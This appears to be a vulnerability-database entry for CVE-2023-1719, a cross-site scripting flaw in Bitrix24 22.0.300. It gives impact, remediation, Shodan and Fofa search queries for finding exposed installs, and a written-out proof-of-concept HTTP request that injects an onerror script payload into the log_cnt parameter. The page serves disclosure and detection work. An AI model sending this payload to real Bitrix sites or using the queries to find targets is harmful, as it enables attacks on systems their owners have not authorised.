🔙 목록으로 돌아가기

CVE-2023-1719: Bitrix Component - Cross-Site Scripting

TitleBitrix Component - Cross-Site Scripting
AuthorDhiyaneshDk
SeverityCritical
ImpactUnauthenticated attackers can inject malicious JavaScript and potentially execute arbitrary PHP code if the victim has administrator privileges, compromising the entire Bitrix24 collaboration platform and accessing sensitive business data.
RemediationUpdate Bitrix24 to a version newer than 22.0.300 that properly initializes variables and sanitizes input in the bitrix/modules/main/tools.php component.
CVSS Score9.8
EPSS Score0.84768
CVE IDCVE-2023-1719
CWE IDCWE-665
Shodan Queryhtml:"/bitrix/"http.html:"/bitrix/"
Fofa Querybody="/bitrix/"
Tags cve2023 cve bitrix xss bitrix24 vuln

🔍 Vulnerability Description

Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.

🌐 HTTP Request

GET /bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=<img%20onerror=alert(document.domain)%20src=1> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1719.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-1719.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A